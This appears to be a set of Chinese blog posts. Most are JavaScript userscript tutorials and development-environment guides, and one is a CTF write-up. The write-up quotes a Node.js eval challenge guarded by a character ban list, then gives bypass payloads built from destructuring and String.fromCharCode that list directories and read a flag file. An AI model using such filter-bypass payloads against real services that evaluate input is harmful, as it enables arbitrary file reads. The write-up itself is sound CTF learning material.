前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] [post cid="1634"/] 前情提要 已经毕业半年多了，有关于小黑盒的开发也搁置很久了，感觉也没有那个精力继续开发了，记录一下最近的算法研究，就当给大学生活做个小结。 @> 本文适用于小黑盒 1.3.262，小黑盒历史版本参考我的仓库 @> 全文评论后可见
【油猴脚本教程】P1 开发者工具的使用 & JavaScript 基础教程
P1 开发者工具的使用 与 JavaScript 基础教程 教程索引 视频链接 (上) 视频链接 (下) 开发者工具的使用 F12 或者 菜单 -> 更多工具 -> 开发者工具 调出 切换中文 更改语言后重新打开开发者工具生效 或者 界面简介 元素 HTML 原文 HTML节点的属性 控制台 在任意Tab按ESC可以在下方调出 源代码 浏览网站中的所有资源 调试代码 网络 抓包工具 应用 查看本地储存的内容 Cookie Session LocalStorage JavaScript 基础教程 一些 JavaScript 学习资源 MDN 文档： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript 廖雪峰： https://www.liaoxuefeng.com/wiki/1022910821149312 菜鸟教程： https://www.runoob.com/js/js-tutorial.html uTools 插件 基本特性 单线程 弱类型 / 动态类型 大小写敏感 ' ," 通用 不强制使用分号 (建议统一) 语法很灵活 运行时: v8, NodeJS 基础语法 注释 //单行注释 /* 多行注释 */ 变量与常量 赋值操作符 var let const //定义变量/常量 var a = 1; var b; let c = 1; let d; const e = 4; //a,b,c,d,e 1 undefined 1 undefined 4 console.log("a,b,c,d,e",a,b,c,d,e); //Uncaught SyntaxError: Missing initializer in const declaration const f; //赋新值 a = 2; c = 3; //Uncaught TypeError: Assignment to constant variable. e = 1; //重复定义 //undefined var a = 6; let c = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared let a = 6; //Uncaught SyntaxError: Identifier 'a' has already been declared const a = 6; //常量覆盖 const e = 6; //e 6 console.log("e",e); //在子域中覆盖(ES6引入) var ts = 1; let he = 2; { var ts = "aaa"; let he = "yyy"; //ts,he aaa yyy console.log("ts,he",ts,he); } //ts,he aaa 2 console.log("ts,he",ts,he); var 定义一个 变量 let 定义一个仅在作用域内生效的 变量 const 定义一个 常量，一旦定义无法修改，但是可以覆盖定义 使用相同的操作符可以覆盖定义同名的变量，但是不建议这么使用 使用 let 覆盖定义时不影响父作用域的同名变量 强烈推荐优先使用 let 定义变量，如果值不需要改变，建议使用 const 定义成常量 函数提升 //函数提升 foo(); // "bar" function foo() { console.log("bar"); } //这种写法的函数不会被提升 bar(); // 类型错误：bar 不是一个函数 var bar = function() { console.log("bar2"); }; 作用域 { } 定义代码作用域 (ES6的内容) 使用 let 定义的变量，在子域可以访问父域的变量，但是父域不能访问子域的变量 函数中定义的内容外部无法访问 子域中定义的函数，父域无法访问 //顶级作用域(最外层的作用域) let x = 114; { //子作用域 let b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { let c = 233; //x,c 114 233 console.log("x,c", x, c); //Uncaught ReferenceError: b is not defined console.log("b", b); } xbz(); //匿名函数同理 (() => { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //Uncaught ReferenceError: b is not defined console.log("b", b); })(); //另一种写法 (function() { let d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //Uncaught ReferenceError: b is not defined console.log("b", b); })(); //x 114 console.log("x", x); //Uncaught ReferenceError: b is not defined console.log("b", b); //Uncaught ReferenceError: c is not defined console.log("c", c); //Uncaught ReferenceError: d is not defined console.log("d", d); 一模一样的代码，只是使用 var 而不是 let ，可访问性略有区别 //顶级作用域(最外层的作用域) var x = 114; { //子作用域 var b = 514; //x,b 114 514 console.log("x,b", x, b); } //函数内部其实也是一种作用域 function xbz() { var c = 233; //x,c 114 233 console.log("x,c", x, c); //b 514 console.log("b", b); } xbz(); //匿名函数同理 (() => { var d = 3.14; //x,d 114 3.14 console.log("x,d", x, d); //b 514 console.log("b", b); })(); //x, 114 console.log("x", x); //b, 514 console.log("b", b); //Uncaught ReferenceError: c is not defined console.log("c", c); //Uncaught ReferenceError: d is not defined console.log("d", d); 数据类型 基础类型 数值 整数 浮点数(小数) NaN (跟任何值比较都是false) 字符串 " " ' ' ` ` (模板字符串，可以用 ${ } 直接引用程序中的变量) let a = 1; //'a=1' `a=${a}` 布尔 true false 对象 object Array 数组 [ xxx, xxx ] new Array(xxx, xxx) 属性： length 元素个数 方法： at 获取指定索引的元素，找不到返回 underfined，等效于 Array[index] contact 拼接另一个可迭代元素，不影响原数组 indexOf 查找元素位置，索引从0开始，找不到返回-1 includes 是否包含元素，返回布尔 join 使用分隔符将列表元素合并成字符串 push 在末尾添加元素，返回数组长度 pop 移除末尾元素，返回被移除的元素 unshift 在数组首位添加元素，返回数组长度 shift 移除首位元素，返回被移除的元素 slice 切片，不影响原数组，返回切片后的新数组 some 传入lambda表达式，如果列表中含有符合表达式的元素，返回true，反之返回false filter 传入lambda表达式，返回一个包含符合表达式的元素的新列表 find 传入lambda表达式，返回第一个符合表达式的元素，没有匹配则返回 undefined sort 传入lambda表达式，返回排序后的数组 forEach 传入lambda表达式，将列表的每一个元素代入执行 字典 {"key": value} 示例 let dict = {}; //添加键值对 dict["a"] = 1; dict.b = 2; //{a: 1, b: 2} console.log(dict); //一个字典中键名不会重复 dict.b = 3; //{a: 1, b: 3} console.log(dict); //读取键值对, 不存在的键名返回 underfined //1 console.log(dict.a); //3 console.log(dict["b"]); //undefined console.log(dict["c"]); Map 字典 new Map(); Map.set(key,value); 属性 size 键值对数量 方法 set 添加键值对 get 通过键名获取键值, 不存在时返回 underfined clear 清空字典 has 是否含有指定的键名 delete 删除指定键值对 keys 返回键名的可迭代对象 forEach 传入lambda表达式，将字典的每一个键名和键值一起代入执行 Set 集合 new Set() 集合中元素是唯一的，可以用来去重，内部元素无序，无法通过索引访问 属性 size 键值对数量 方法 add 添加元素 delete 删除元素 clear 清空集合 has 是否有指定元素 entries 返回集合的可迭代对象 keys 返回集合的可迭代对象 forEach 传入lambda表达式，将集合中的每一个元素代入执行 函数 function 获取变量类型 typeof(xx) 数据类型转换 Boolean(any) //任意类型转布尔 String() //所有类型都可以用这个转成字符串 Number() //任意类型转数值类型，转换失败返回NaN parseFloat(any) //转换失败返回NaN parseInt(any) //转换失败返回NaN object.toString() //基础类型没有这个方法 变量比较的坑 == 与 === ( = 是赋值操作符) == 比较操作符，自动隐式类型转换 === 绝对等于，不允许自动类型转换 NaN 跟任意值比较结果都是 false 推荐优先使用 === 判断是否相等 一些被认为是 false 的值 false underfined null 0 NaN "" 执行流 if 条件判断 if( /* 表达式 */ ) { //表达式运算结果转换为布尔为 true 时执行该块 } else if( /* 表达式2 */ ) //也可以使用 else if 连续判断多个表达式 { //可以存在任意和 else if 子句，也可以省略 //表达式2运算结果转换为布尔为 true 时执行该块 } else { //else 子句可以省略 //表达式1和表达式2的运算结果转换为布尔都为 false 时执行该块 } //示例 let a = 500; if(a > 514){ console.log(1); } else if(a < 114){ console.log(2); } else{ console.log("啊啊啊"); } //"啊啊啊" switch 分支 switch ( /* 表达式 */ ) { case /* 值1 */: //表达式计算结果等于值1时执行从case到第一个break之间的语句 [break;]//不写break的话会case语句 case /* 值2 */: //表达式计算结果等于值2时执行从case到第一个break之间的语句 [break;] //可以存在任意个case default: //只能写在最后, 可以省略 //当表达式的值不满足任意一个case, 或者没有遇到break跳出时执行这里的语句 [break;]//可以写break,但是没有必要 } //示例 for(let x=0; x<5; x++) { switch (x){ case 1: console.log('1'); case 2: case 4: console.log('2 or 4'); break; default: console.log('default'); } } /* default 1 2 or 4 2 or 4 default 2 or 4 */ for 循环 for 最通用的计数循环 for(/* 初值设定，只执行一次 */ ; /* 表达式，满足条件则执行循环 */ ; /* 每次循环后执行 */){ //循环执行这里的语句 } //例子 for (let i = 0; i < 5; i++) { console.log(i); } //0 1 2 3 4 const list = [1,2,3,4,5]; for (let i=0; i < list.length; i++){ console.log(list[i]); } //1 2 3 4 5 for...in 自动枚举对象的 可枚举属性 ，适用于枚举 字典 ，一般不适用于 数组 和 集合 不能在循环体内修改迭代对象 //错误示范 const list = [9,8,7,6,5]; for(let x in list){ console.log(x); } //0 1 2 3 4 //获取的实际上是元素的下标 const set = new Set([1,2,3,4,5]); for(let x in set){ console.log(x); } //无输出 //为什么会得到这样的结果？ //对字典使用则会得到预期的结果 const dict = {'a':1,'b':2,'c':3}; for(let x in dict){ console.log(x); } //a b c for...in 循环还可以用来迭代 对象 的 属性 for...of 循环 自动枚举可迭代对象的每一个元素 ，适用于任何可迭代对象，字典 不可直接迭代 不能在循环体内修改迭代对象 const list = [9,8,7,6,5]; for(let x of list){ console.log(x); } //9 8 7 6 5 const set = new Set([1,2,3,4,5]); for(let x of set){ console.log(x); } //1 2 3 4 5 //错误示例 const dict = {'a':1,'b':2,'c':3}; for(let x of dict){ console.log(x); } //TypeError: dict is not iterable forEach 循环 严格意义上来说是属于部分可迭代对象的原型方法 ( Prototype )，而不是通用操作符 需要传入一个函数，执行过程就是把可迭代对象的每个元素代入函数中执行，因为每次循环都相当于调用函数，因此效率远不如上面的几种 for 循环 const list = ['a', 'b', 'c']; list.forEach(x => console.log(x)); //a b c //相当于 list.forEach(function(x) { console.log(x); }); 执行速度 for > for...in / for...of >>> forEach while 循环 while 类似 for 循环，满足循环条件就会一直执行循环体 while(/* 循环条件为 true 则进入循环 */) { /* 循环执行体 */ } //例子 let x = 3; while(x--){ console.log(x); } //2 1 0 //要注意避免出现死循环 do...while 在执行循环体后才会检查循环条件，也就是说至少会执行一次循环体 do { /* 循环执行体 */ } while(/* 循环条件为 true 则进入循环 */) //例子 let x = 3; do { console.log(x); } while(x--); //3 2 1 0 循环操作 continue 跳过执行当前循环体，进行下一轮循环 //跳过执行部分循环 let x = 0; while(x++ < 10) { if(x % 3 == 0){ continue; } console.log(x); } //1 2 4 5 7 8 10 //使用 label 自由控制外部循环 var i = 0; var j = 10; checkiandj: while (i < 4) { console.log('i',i); i += 1; checkj: while (j > 4) { console.log('j',j); j -= 1; if ((j % 2) == 0) { continue checkj; } console.log(j + ' 是奇数。'); } console.log('i = ' + i); console.log('j = ' + j); } break 结束当前循环体 //结束循环 const a = [1,2,3,4,5]; for (i = 0; i < a.length; i++) { if (a[i] == 3) { break; } console.log(a[i]); } //1 2 //也可以指定 label 终止外部循环 let x = 0; let z = 0 labelCancelLoops: while (true) { console.log("外部循环: " + x); x += 1; z = 1; while (true) { console.log("内部循环: " + z); z += 1; if (z === 3 && x === 3) { break labelCancelLoops; } else if (z === 3) { break; } } } try-catch 错误捕获 在 try 块中的代码如果执行遇到错误，会被 catch 块捕获，而不会影响外部代码继续执行 try { //使用 throw 可以手动引发异常 throw '114514异常'; } catch (error) { console.error(error); } //控制台输出了异常消息 //还可以使用 finally 块，不论是否遇到错误，跳出 try...catch 块前都会执行 finally 块的代码 try { //使用 throw 可以手动引发异常 throw '114514异常'; } finally { console.log('finally') } //finally 和 catch 块都是可选的，也可以一起用，但是不能单独使用 try 块 try { //使用 throw 可以手动引发异常 throw '114514异常'; } catch (error) { console.error(error); } finally { console.log('finally') } 运算操作符 算数运算 摆烂了，看MDN吧： https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators + 加 ++ 自增 - 减 -- 自减 * 乘 / 除 ** 指数 % 取余数 位运算 & 按位与 | 按位或 ^ 按位异或 逻辑运算 && 逻辑与 || 逻辑或 简化赋值运算 x += y => x = x + y x -= y => x = x - y x *= y => x = x * y x /= y => x = x / y x %= y => x = x % y x **= y => x = x ** y x <<= y => x = x << y x >>= y => x = x >> y x &= y => x = x & y x |= y => x = x | y x ^= y => x = x ^ y 解构赋值 //可迭代元素的解构，相当于把不同下标的元素赋值给定义的变量 const list = ['1','2','3']; let [t1, t2, t3, t4] = list; console.log(t1,t2,t3,t4); //1 2 3 undefined //如果元素不够分配，未分配到的元素不会被赋值 //使用 ... 可以让某个变量接受剩余元素 const list = ['1','2','3','4','5']; let [t1, t2, ...t3] = list; console.log(t1,t2,t3); //1 2 (3) ['3', '4', '5'] //注意，t3变量是一个数组 //也可以对字典使用解构，但是需要使用 {} 而不是 [] const dict = {aa:1,bb:2,cc:3}; let {bb,aa,cc,dd} = dict; console.log(aa,bb,cc,dd); //1 2 3 undefined //字典的解构赋值是通过 key 而不是变量索引来获取的，因此变量的顺序无关紧要 //如果变量和key名字不一致也可以指定别名 const dict = {aa:1,bb:2,cc:3}; let {aa:s1,bb:s2,cc:s3} = dict; console.log(s1,s2,s3); //1 2 3 三目运算 表达式 ? 值1 : 值2 当表达式成立，三目运算的结果为值1，当表达式不成立，三目运算的结果为值2 let x = false ? 1 : 2; console.log(x); //2 let x = true ? 1 : 2; console.log(x); //1 浏览器对象 Window window 是浏览器对象，访问属性或者方法的时候可以省略 window 常用属性 document HTML文档对象，页面上的元素都可以通过这个对象获取 console 控制台对象，用于打印日志 location 地址对象，读取网页链接或者控制跳转 localStorage 访问本地储存数据 screen 获取显示器分辨率 scrollX , scrollY 水平/垂直滚动条位置 常用方法 alert 弹出提示框，会阻塞 JS 运行 confirm 弹出确认提示框，会阻塞 JS 运行 blur 将焦点移出当前窗口 close 关闭窗口 eval 执行字符串形式的 JS 语句 find 查找指定字符串，并聚焦到字符串的位置 focus 激活当前窗口 open 打开新窗口 (标签页) openDialog 打开新的对话框窗口 print 显示打印对话框 prompt 弹出输入框，会阻塞 JS 运行 scroll 控制滚动条滚动到指定位置 stop 停止加载 文档对象 Document Document 接口是 HTML 页面的另一种形式，或者叫 DOM 树，通过 window.document 可以获取当前窗口的 DOM 树，通过 Document 对象可以很方便的添加或者修改 DOM 元素 Document 对象也继承了 Node 对象的属性和方法 常用属性 body 返回 节点 head 返回 节点 cookie 读取或者设置 cookie title 获取或者设置网页标题 URL 返回地址栏链接 常用方法 createElement 指定标签名，创建一个新的元素 getElementsByClassName 指定类名查找元素 getElementById 指定ID查找元素 querySelector 通过CSS选择器查找第一个匹配元素 querySelectorAll 通过CSS选择器查找所有匹配元素 evaluate 执行XPath表达式 hasFocus 返回当前文档是否拥有焦点 文档元素对象 Element Element 对象相当于HTML中的Tag，比如 Element 对象也继承了 Node 对象的属性和方法 常用属性 attributes 标签属性集合 classList 标签 class 属性列表 (按空格分隔) className 标签 class 属性的值 id 标签的 id 属性 innerHTML DOM 元素内部的 HTML 文本 innerText DOM 元素内部的文本 tagName 标签自身的名称，例如 div a span 等 常用方法 addEventListener 添加事件监听器，需要指定事件名和回调函数，触发特定事件后自动调用回调函数 dispatchEvent 手动触发指定的事件 getAttribute 获取标签的指定属性 文档节点对象 Node 网页中的所有 Node 一起构成了 DOM 树，对节点的修改会反应到网页中 常用属性 childNodes 返回该节点的所有子节点 firstChild 返回第一个子节点，没有返回 null lastChild 返回最后一个子节点，没有返回 null nodeName 返回节点对应的名称，比如 #document nodeType 返回节点类型对应的值，具体定义参考 MDN parentNode 返回父节点 parentElement 返回父元素 textContent 返回节点内所有子节点的文本内容 常用方法 appendChild 将指定节点作为子节点添加到当前节点的末尾 cloneNode 克隆指定节点 hasChildNodes 判断当前节点是否有子节点 insertBefore 在当前节点新增子节点，插入在指定节点之前 Document Element 与 Node Document 即 DOM 树，包含了网页中的所有 DOM 对象，既包含 Element 也包含 Node Element 标签元素，类似与 xxx，它继承 Node 的属性和方法，同时具有自己特有的属性和方法 Node 节点，是 DOM 树的最基础单位，比如 xxx 这一个 Element，就包含一个 A Node （即 ）和一个 Text Node（即 xxx） 一个 Element 可以包含任意个 Element 元素 和 Node 元素
P0 开发环境配置 教程索引 视频链接 下载工具 VSCode : https://code.visualstudio.com/#alt-downloads Git：https://git-scm.com/download/win 安装 一路下一步，推荐勾选“添加右键菜单” 推荐把Git默认编辑器改成Vscode VSCode配置 插件安装 Chinese —— 简体中文语言包 EsLint —— JS语法检查 GitLens —— 源代码管理工具（可选） 左边栏菜单 Git简介与使用 工作流程 修改文件 -> 暂存 -> 提交 配置用户名和邮箱 暂存 提交 查看提交记录和文件历史 配置远程仓库 直接通过账号密码连接到GitHUB 生成SSH密钥对，手动添加远程仓库 GreasyFork的使用 编写你的脚本 添加必要的元信息 发布你编写的脚本 使用WebHook自动更新 为远程代码仓库配置 Greasy Fork 的 WebHook 为指定脚本配置仓库中脚本的文件路径 （Raw链接） 这个时候GreasyFork中的脚本就会跟远程仓库保持同步
前言 本文仅供学习探讨之用，如果侵犯您的权益请联系我删除。 上文 [post cid="714"/] [post cid="1347"/] [post cid="1365"/] [post cid="1383"/] 前情提要 距离上一篇文章已经过去一年多了，前两天心血来潮找了最新版本研究了一下，熬了两天夜也没整明白，不打算继续研究下去了，做个笔记记录下分析过程。 @> 本文适用于小黑盒 1.3.191，小黑盒历史版本参考我的仓库 @> 全文评论后可见
前言 刚打完的比赛，还热乎着，难得拿了个一血，可惜之后就寄了…… 正文 题目附件为： ip: 152.136.122.197 port: 53502 protocol: http 用Chrome浏览器访问，提示错误的响应体 用FireFox可以看到返回内容为main.js的内容 main.js内容为： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); const rl = readline.createInterface({ input: process.stdin, output: process.stdout }); console.log(fs.readFileSync(path.join(__dirname, "./main.js")).toString()); rl.question(">>> ", (payload) => { if (ban(payload)) { console.log("Ban!"); } else { console.log(eval(payload)); } rl.close(); }); rl.on('close', function () { process.exit(0); }); 主要逻辑是判断传入payload里有没有这些特殊符号 ` " ' [ ] ; , . / : "空格" \t \n 研究了一小时，发现(){}+是可以用的 绕过思路如下： 用解包赋值绕过函数调用中的. // 相当于 console.log('114514') var {log} = console log('114514') 用String.fromCharCode()绕过文本中的特殊字符 //得到 '.' String.fromCharCode(46) 使用{}代码段分隔多行代码，避免使用;和任何空白符号 本地测试代码如下： const readline = require('readline'); const fs = require("fs"); const path = require("path"); const banlist = Array.from(`\`"'[];,./: \t\n`); const ban = s => banlist.some(v => s.indexOf(v) !== -1); let payload = ` ({ //payload here })() `.replace(/\s/g,''); if (ban(payload)) { console.log("Ban!"); } else { console.log(payload); console.log(eval(payload)); } process.exit(0); i PS: payload外面的 (()=>{ })() 是可以去掉的 构造payload： //等效于 console.log(fs.readdirSync("..")) ( ()=>{ { var{readdirSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readdirSync(fromCharCode(46)+fromCharCode(46))) } } )() 用Telnet客户端连接可以执行payload 发现flag放在../flag中，读取之： //等效于 console.log(fs.readFileSync("../flag")) ( ()=>{ { var{readFileSync} = fs } { var{from} = Array } { var{fromCharCode} = String } { var{log} = console } { log(readFileSync(fromCharCode(46)+fromCharCode(46)+fromCharCode(47)+fromCharCode(102)+fromCharCode(108)+fromCharCode(97)+fromCharCode(103))) } } )() 显示的是十六进制Hex，转一下就是Flag了
前言 之前写过一篇教程，那个时候经验有限，很多地方讲的不是很明白 所以这是一篇重制版教程 计划每周一更，每次30min左右，大纲讲完以后会讲解一些例程 教程大纲 大概会涉及到的内容，顺序未定 开发环境配置（P0 文章 视频） VS Code Git 使用基础 远程 Git 仓库 脚本分发（P0 文章 视频） Greasyfork 使用 使用 WebHook 自动更新 开发者工具简介（P1 文章 视频） 元素 控制台 源代码 网络 应用 JavaScript基础 （P1 文章 视频） 变量与常量 作用域 数据类型与类型转换 执行流 Window 对象 Document 对象 Node 对象 Element 对象 初识油猴脚本 (P2 文章 视频) 两个简单的脚本源码解析 油猴脚本组成 (P2 文章 视频) 元信息 脚本 DOM 元素操作 数据持久化 localStorage 自定义 CSS 油猴脚本组成 元信息 脚本 库 CSS选择器与XPath语法基础 DOM元素操作 Event事件 数据持久化 序列化与反序列化 自定义CSS 库的使用与开发 正则表达式基础 同步函数与异步函数和并发 网络请求（XHR/Fetch） 油猴API 开发实战…… 联系方式 有任何问题直接留言或者私信即可 博客留言（Chrxw.com） B站私信 （Chr_@5805394） 电子邮件（chr@chrxw.com）
前言 最近在学习单片机开发，用的是ESP 8266这块芯片，Arduino IDE实在是用不习惯，研究了下怎么配置VS Code，简单的做个记录。 插件安装 在扩展商店里搜索arduino，然后安装微软开发的那个插件即可 Arduino 插件配置 手动添加这两行即可： "arduino.additionalUrls": "附加开发版管理器的网址", "arduino.path": "C:\\Program Files (x86)\\Arduino" arduino.additionalUrls 对应ArduinoIDE里的设置项（如图） arduino.path 即Arduino IDE的安装路径 i> 插件配置以后需要重启VS Code才会生效 Arduino Cli 安装 从 Arduino-Cli Releases 下载对应操作系统的版本，然后丢进Arduino IDE安装目录，最后在VS Code的插件设置里勾选Use Arduino Cli 终端乱码解决方法 安装最新版本的Arduino IDE后终端显示会不正常，原因是中文环境下终端默认的代码页为936，只能显示GBK编码的文本，而最新版本的Arduino IDE输出的文本编码是UTF-8，对应编码页是65001，Arduino插件中包含代码页的判定，但是好像忘记设置代码页了，作用存疑，稍微修改一下即可。 涉及到的文件位置为%HOMEPATH%\.vscode\extensions\vsciot-vscode.vscode-arduino-0.4.0\out\src\common\util.js !> 插件版本不同文件夹后缀名称也会不同，自行修改即可 在第207行左右，把const chcp = child_process.execSync("chcp.com");改成const chcp = child_process.execSync(chcp.com ${codepage});即可 重启VS Code生效。 顺手提交了一个PR，不知道会不会采纳。
油猴脚本不求人！零基础油猴脚本编写指南
前言 本文首发于我的博客和其乐论坛，未经授权禁止转载 本文全程使用原生JavaScript进行编程，不使用像jQuery这样的第三方库 视频链接 零基础油猴脚本编写指南【上】 （对应0x01~0x05） 0x00 前置知识 本节简单的介绍一下一些名词的概念，了解为主，直接跳过也是可以的 HTML、CSS和JS HTML即超文本标记语言，它用来描述各种网页元素，类似与一份清单，浏览器读取以后根据它来加载对应的资源 CSS即层叠样式表，它只用来描述网页元素的外观，还可以添加少许动画，但是不影响功能 JS即JavaScript，它是一种网页脚本语言，用来让静态的网页能够响应各种动作，还可以挖矿 如果把HTML比作木偶，那么CSS就是木偶的衣服，JS就是木偶的提线，用来操控木偶 油猴和浏览器 当你访问链接的时候，浏览器会先下载链接对应的文件（通常是一个HTML文件），然后根据HTML描述的对象列表，来下载图片、视频等资源，有的CSS和JS内嵌在HTML文件里，有的则是单独的文件，等必要的资源加载完成以后，浏览器才能生成可以交互的网页 油猴实际上是一个加载器，它把用户脚本安插在最开始获取到的HTML文件中，这样浏览器加载网页的时候，也会加载特定的用户脚本，这样我们就能够通过编写用户脚本来修改网页了 HTML5和DOM HTML5是现行的HTML标准，DOM即文档对象模型，是一用对象表示HTML标签的方法，通过DOM，我们可以简单的修改文档对象的属性，来轻松修改HTML标签的内容 0x01 初识开发者工具 工欲善其事必先利其器，本节简单的介绍一下开发者工具的使用。 本节以我的博客作为演示，地址：chrxw.com 个人比较喜欢Firefox的开发者工具，以下介绍均使用Firefox进行演示，如果使用Chrome的话可能布局会有细微差异，不过功能是类似的。 Chrome自带的开发者工具貌似没有汉化，建议使用别的Chromium内核的浏览器（比如新版Edge），功能都差不多。 在浏览器中按F12即可打开开发者工具 查看器，左侧可以查看页面的HTML内容，右侧显示的是选中的DOM元素的CSS 控制台，可以运行自己编写的JS代码。 也可以在设置里打开“分离式控制台”，这样就可以在所有TAB里都显示控制台了。 调试器，可以用来单步调试JS 网络，可以查看浏览器的网络请求 储存，在这个TAB中可以查看网站在本地保存的内容，最常用的是Cookie，其次是LocalStorge（本地储存），还有个由浏览器自动管理的Session（会话储存），JS可以访问的只有Cookie和LocalStorge。 0x02 初识DOM 本节通过使用开发者工具，简单的演示一下如何操作DOM元素，以我的博客作为演示，地址：chrxw.com 首先打开开发者工具，然后激活选择器，然后点击“标题”，这样在右边的查看器中就会显示我们点击的对象 右键高亮的元素，然后点击“在控制台使用”（如果是Chromium或者Chrome，点击“复制”/“Copy”->“复制JS路径”/“Copy JS path”，然后把复制结果粘贴到控制台中） Firefox自动创建了一个temp0变量，按一下回车，可以看到控制台输出了一个DOM元素，点一下左边的箭头展开，可以看到这个对象的各种属性。 接下来我们尝试修改一下它的内容 temp0.textContent = 'hello world'; 按回车执行，然后可以看到，网页的标题已经被修改了 接着我们修改一下CSS，让它居中显示 temp0.style.textAlign='center'; 接下来我们创建一个新的DOM元素，然后插入到网页中 let btn = document.createElement('button'); btn.textContent = '按钮'; btn.addEventListener('click',() => { alert('hello world'); }); temp0.appendChild(btn); 点一下新出现的按钮，可以看到消息弹窗 代码讲解： PS： document 也是DOM元素，它代表整个网页，其他DOM元素都是它的子集。 let btn = document.createElement('button'); btn.textContent = '按钮'; 这两行代码创建了一个button对象，它内部的文本为按钮，由浏览器自动生成的HTML表达式为 按钮 btn.addEventListener('click',() => { alert('hello world'); }); 这三行代码为btn对象添加了事件监听器，addEventListener的第一个参数是事件监听器的名称，第二个参数是接收到指定事件后调用的函数，()=>{ ... }是匿名函数的缩略写法，匿名函数还有另一种等效写法function(){ ... }，或者写成普通函数，也是可以的。 //匿名函数写法2 btn.addEventListener('click',function(){ alert('hello world'); }); //普通函数的写法 btn.addEventListener('click',foo);//foo后面不加() function foo(){ alert('hello world'); } 添加好事件监听器以后，点一下按钮，就会触发click事件，然后由浏览器调用我们绑定的方法alert('hello world');，弹出消息框 temp0.appendChild(btn); A.appendChild(B)的作用是把B元素插入到A元素的子元素的末尾，也就是把btn对象插到temp0中，由浏览器自动帮我们修改了HTML文本 //修改前 Chr_小屋 //修改后 Chr_小屋 按钮 //这是我们新创建的DOM元素 通过操作DOM元素的属性，就可以很方便的修改网页的显示效果，添加各种功能。 0x03 DOM进阶之获取DOM元素 通过修改DOM元素的属性，可以很方便地修改网页，但是首先我们得获取我们想要修改的DOM元素 本节将会介绍如何获通过代码获取现存的DOM元素，以我的博客作为演示，地址：about.html 1. 使用ID进行获取 WEB开发者设计网页的时候，会给一些经常需要修改的元素添加id属性，原则上每个元素的id都是不同的，所以如果某个元素具有id属性，我们就可以使用getElementById来获取 需要注意的是，如果元素没有id属性的话这个方法就行不通了 随便打开一篇博文，最下面的评论框是带有id属性的，使用开发者工具我们可以看到，它的id为comment 我们可以用document.getElementById( id名称 )的方式获取DOM元素 let box = document.getElementById('comment'); box.value = '通过ID获取DOM'; 代码非常好理解，先调用getElementById方法获取DOM，然后修改它的value属性，效果就是文本框的内容被修改了 PS： textContent 属性修改的是HTML文本，而 value 属性修改的是文本框中的内容，不影响HTML文本 2. 使用CSS选择器进行获取 在一个网页中，具有id属性的元素不会太多，大多数时候都是没有这个属性的，这时候可以根据元素的class属性，使用querySelector（获取符合条件的第一个元素）或者querySelectorAll(获取符合条件的全部元素数组)进行获取 本节只介绍常用的方法，更详细的介绍可以参考这个：CSS 选择器参考手册 根据class进行选择 标题元素的class为entry-title m-n font-thin text-black l-h，class选择器的语法为.+class名称，如果有多个class名称，则用.分隔 所以标题元素的选择器写法为.entry-title.m-n.font-thin.text-black.l-h 在CSS选择器语法中，空格代表子元素的意思，所以不能随意添加空格。 通过搜索，我们发现entry-title在HTML文档只出现了一次，因此选择器也可以简化写作.entry-title，代码如下 //两种写法等效 document.querySelector('.entry-title.m-n.font-thin.text-black.l-h'); document.querySelector('.entry-title'); 在实际运用中，没必要给出完整的class，只需要写独一无二的部分即可 根据id进行选择（可以用，但还是建议用getElementById） id选择器的语法为#+id名称，评论框的id是comment，所以选择器写法为#comment，代码如下 //两种写法等效，推荐第一种 document.getElementById('comment'); document.querySelector('#comment'); 根据元素类型选择 还可以根据DOM元素的类型进行选择，如果网页中只有一个特定种类的元素，那么直接写元素类型即可 使用开发者工具，我们可以知道，评论框的类型为textarea，而且整个网页只有一个textarea，因此选择器可以直接写成textarea，代码如下 document.querySelector('textarea'); 根据相对关系进行选择 有的时候，想要操作的元素可能没有独一无二的属性，那么就可以根据相对关系进行选择 A>B表示在A的一级子元素中查找B A B表示在A的内部查找B（查找范围不仅包括子元素，还包括孙元素等） A+B表示与A相邻的B元素（平级关系，非父子关系） 这里的 A 和 B 代表的是选择器，选择器可以嵌套使用。 A.B，不表示相对关系，它表示类型是A，class名是B的元素，这个要注意。 还是用标题元素举例子 先找到容易定位的元素，然后再根据相对关系寻找想要找的元素，方法有很多，下面举几个例子 //以下语句都是等效的 document.querySelector('main>div>div>header>h1');//一级子元素 document.querySelector('main header>h1');//所有子元素 document.querySelector('main h1');//这样也可以 document.querySelector('header>h1');//多个方法定位header对象 document.querySelector('#small_widgets>h1'); document.querySelector('.bg-light.lter.wrapper-md>h1'); document.querySelector('header.bg-light>h1'); 写成这个样子主要是为了举例子，实际使用中选择器越简洁越好 根据其他属性名称进行选择 [xxx]选择带有xxx属性的元素 [xxx=sss]选择xxx属性等于sss的元素 [xxx~=sss]选择xxx属性包含sss的元素（sss必须是整个单词） [xxx|=sss]选择xxx属性以sss开头的元素（sss必须是整个单词） [xxx^=sss]选择xxx属性以sss开头的元素（sss可以是单词的一部分） [xxx$=sss]选择xxx属性以sss结尾的元素（sss可以是单词的一部分） [xxx*=sss]选择xxx属性包含sss的元素（sss可以是单词的一部分） 通过开发者工具可以看出高亮的DOM元素具有for属性，属性值为comment，代码如下，感受一下几种用法的区别 document.querySelector('[for=comment]');//完整匹配 document.querySelector('[for|=co]');//匹配开头，匹配失败，for属性中没有co这个单词 document.querySelector('[for~=co]');//匹配任意位置，匹配失败，for属性中没有co这个单词 document.querySelector('[for^=co]');//匹配开头 document.querySelector('[for*=co]');//匹配任意位置 document.querySelector('[for*=mm]');//匹配任意位置 document.querySelector('[for$=nt]');//匹配结尾 组合选择器 上面介绍过的选择器可以组合使用，比如选择表情按钮中的矢量图片 代码如下，自己体会一下各个部分是什么意思，以及哪些部分是没有必要的 //两种写法效果一样 document.querySelector('textarea.form-control[name=text]+div.OwO>.OwO-logo svg'); document.querySelector('.OwO-logo svg'); 0x04 